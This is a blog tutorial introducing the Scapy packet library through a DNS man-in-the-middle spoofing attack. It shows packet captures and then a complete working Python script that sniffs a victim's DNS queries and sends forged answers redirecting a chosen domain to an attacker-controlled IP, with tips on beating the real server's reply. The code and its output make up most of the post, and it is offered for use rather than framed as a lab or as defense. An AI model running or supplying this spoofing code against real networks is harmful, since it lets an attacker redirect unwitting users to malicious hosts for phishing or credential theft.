Friday, April 10, 2015

Scapy - MITM DNS example

This post is a starting point for the series of posts about Scapy - powerful tool written in python for packet crafting, sniffing and a lot more. It can be used in various combinations and literally could do anything.

Getting scapy

I won't talk much here. You can get scapy via pip, apt, from sources, etc. Installation process is covered all over the Internet.
apt-get install python-scapy
or
pip install scapy
or you may want to install scapy compatible with python3
pip install scapy-python3

Goal

Imagine, you have already acquired MITM status and you are somehow standing between user and the Internet. Scheme like this, for instance:


Goals are the following:
  1. Intercept user request to google DNS 8.8.8.8 trying to resolve ya.ru (A-query, of course).
  2. Send the spoofed response

Solution

We will use Scapy and python to do this.

How scapy sees packets

Run scapy from console:
# scapy
>>>
Now we'll do some sniffing:
>>> sniff(iface="eth4", filter="host 8.8.8.8", count=10, prn=lambda(x): x.show())

Explanation:

  • iface - interface we are trying to sniff some packets
  • filter - pcap-like filter
  • count - after catching this amount of packets - stop sniffing
  • prn - function, that will be executed for each sniffed packet. In our case, we are calling method show().
Here is what we get:
###[ Ethernet ]###
  dst= 00:a7:67:c3:5e:27
  src= f0:de:f1:ab:6a:c5
  type= 0x800
###[ IP ]###
     version= 4L
     ihl= 5L
     tos= 0x0
     len= 51
     id= 17360
     flags= 
     frag= 0L
     ttl= 64
     proto= udp
     chksum= 0x2026
     src= 192.168.70.12
     dst= 8.8.8.8
     \options\
###[ UDP ]###
        sport= 49034
        dport= domain
        len= 31
        chksum= 0x16f5
###[ DNS ]###
           id= 29196
           qr= 0L
           opcode= QUERY
           aa= 0L
           tc= 0L
           rd= 1L
           ra= 0L
           z= 0L
           ad= 0L
           cd= 0L
           rcode= ok
           qdcount= 1
           ancount= 0
           nscount= 0
           arcount= 0
           \qd\
            |###[ DNS Question Record ]###
            |  qname= 'ya.ru.'
            |  qtype= A
            |  qclass= IN
           an= None
           ns= None
           ar= None




###[ Ethernet ]###
  dst= f0:de:f1:ab:6a:c5
  src= 00:a7:67:c3:5e:27
  type= 0x800
###[ IP ]###
     version= 4L
     ihl= 5L
     tos= 0x0
     len= 99
     id= 50329
     flags= 
     frag= 0L
     ttl= 57
     proto= udp
     chksum= 0xa62c
     src= 8.8.8.8
     dst= 192.168.70.12
     \options\
###[ UDP ]###
        sport= domain
        dport= 49034
        len= 79
        chksum= 0x99c
###[ DNS ]###
           id= 29196
           qr= 1L
           opcode= QUERY
           aa= 0L
           tc= 0L
           rd= 1L
           ra= 1L
           z= 0L
           ad= 0L
           cd= 0L
           rcode= ok
           qdcount= 1
           ancount= 3
           nscount= 0
           arcount= 0
           \qd\
            |###[ DNS Question Record ]###
            |  qname= 'ya.ru.'
            |  qtype= A
            |  qclass= IN
           \an\
            |###[ DNS Resource Record ]###
            |  rrname= 'ya.ru.'
            |  type= A
            |  rclass= IN
            |  ttl= 7000
            |  rdlen= 4
            |  rdata= '213.180.204.3'
            |###[ DNS Resource Record ]###
            |  rrname= 'ya.ru.'
            |  type= A
            |  rclass= IN
            |  ttl= 7000
            |  rdlen= 4
            |  rdata= '93.158.134.3'
            |###[ DNS Resource Record ]###
            |  rrname= 'ya.ru.'
            |  type= A
            |  rclass= IN
            |  ttl= 7000
            |  rdlen= 4
            |  rdata= '213.180.193.3'
           ns= None
           ar= None

That is how scapy sees the packets. Each part of the packet could be easily reached and modified. For instance, we need to print just IDs of DNS queries and responses. Instead of x.show() we'll do:
>>> sniff(iface="eth4", filter="host 8.8.8.8", count=10, prn=lambda(x): x[DNS].id)
29196
29196

Let's start

Some initialization:
#!/usr/bin/env python

from scapy.all import *

iface = "eth0"
spoofed_ip = "10.0.0.2" # IP, we'd like the client to go to after spoofing
dns_server_ip = "8.8.8.8" # DNS server
domain_to_spoof = 'ya.ru.' # domain name to spoof
qtype_to_spoof = 1 # A - query
DEBUG=0 # disable or enable debug

Sniff the traffic (no explanation needed, I guess):
sniff(prn=dns_mitm(spoofed_ip, domain_to_spoof, qtype_to_spoof),\
iface=iface, filter="dst host %s and port 53" % dns_server_ip, count=10)

Let's have a look at functions and get an explanation line by line:
def dns_mitm(spoofed_ip, domain_to_spoof, qtype_to_spoof):
    global DEBUG
    def craft_dns(dst_ip, src_ip, dport, tid, qname):

        # ip
        ip = IP(src=src_ip, dst=dst_ip)
        
        # udp
        transport = UDP(sport=53, dport=int(dport))
    
        # dns
        dns = DNS(id=tid, qr=1, ancount=1,an=DNSRR(rrname=qname, rdata=spoofed_ip, ttl=3600))

        spoofed_pkt = ip/transport/dns

        if DEBUG: spoofed_pkt.show()

        return spoofed_pkt

    def get_packet(pkt):

        if not DNS in pkt:
            return False

        if DEBUG: pkt.show()

        # get src ip
        src_ip = pkt[IP].src

        # get dst ip
        dst_ip = pkt[IP].dst

        # get source port
        sport = pkt[UDP].sport

        # get tid
        tid = pkt[DNS].id

        # get query type
        qtype = pkt[DNS].qd.qtype

        # get qname 
        qname = pkt[DNS].qd.qname

        if qtype == qtype_to_spoof and qname == domain_to_spoof:
            print("Sniffed the packet. Spoofing.")            
            packet = craft_dns(src_ip, dst_ip, sport, tid, qname)
            send(packet)
            print("Packet sent")

    return get_packet

01: init our dns_mitm function with some parameters
Let's jump to line 20 and function get_packet.
As an argument, we receive a pkt - that is scapy's packet structure. Now we could do anything we like with the sniffed packet.

22: check if it is a DNS packet. It might be not in some weird cases.
25: if DEBUG is set to 1, we would see full sniffed packet
27-43: get some info, that will be used later in our script.
45: check if it is the packet we are looking for
47-48: craft and send the spoofed packet

Let's have a look at our craft_dns function at line 03.
06: create a spoofed IP header. You may noticed, that src and dst IPs are switched.
09: create UDP part: dport == sport from the sniffed packet.
12: DNS

  • id from the sniffed request
  • ancount =1 - we are sending just one reply structure
  • rrname = qname - it is query name from sniffed packet
  • rdata - spoofed ip address 
  • ttl - by default scapy sets ttl = 0
14: finally build spoofed packet
16: show spoofed packet, if debug is enabled


There are few notes anyhow:

1. If you are trying to sniff on some not standard interface (bridge, virtual iface, etc) filter might not work correctly. In that case you could use lfilter. filter uses pcap library, whereas lfilter uses python code. Here is an example with lfilter:
sniff(prn=dns_mitm(spoofed_ip, domain_to_spoof, qtype_to_spoof),\
iface="eth4", count=1000, lfilter = lambda(x): x.haslayer(IP) and x[IP].dst== dns_server_ip and x[UDP].dport == 53
lfilter is much slower then filter, so be prepared to have some lags on high pps.

2. The spoofing technique in this post is just an example. It would work only if you are sending replies faster then the DNS server. Also you may consider not forwarding user requests to DNS as long as you are MITM


That would be all, folks.

No comments:

Post a Comment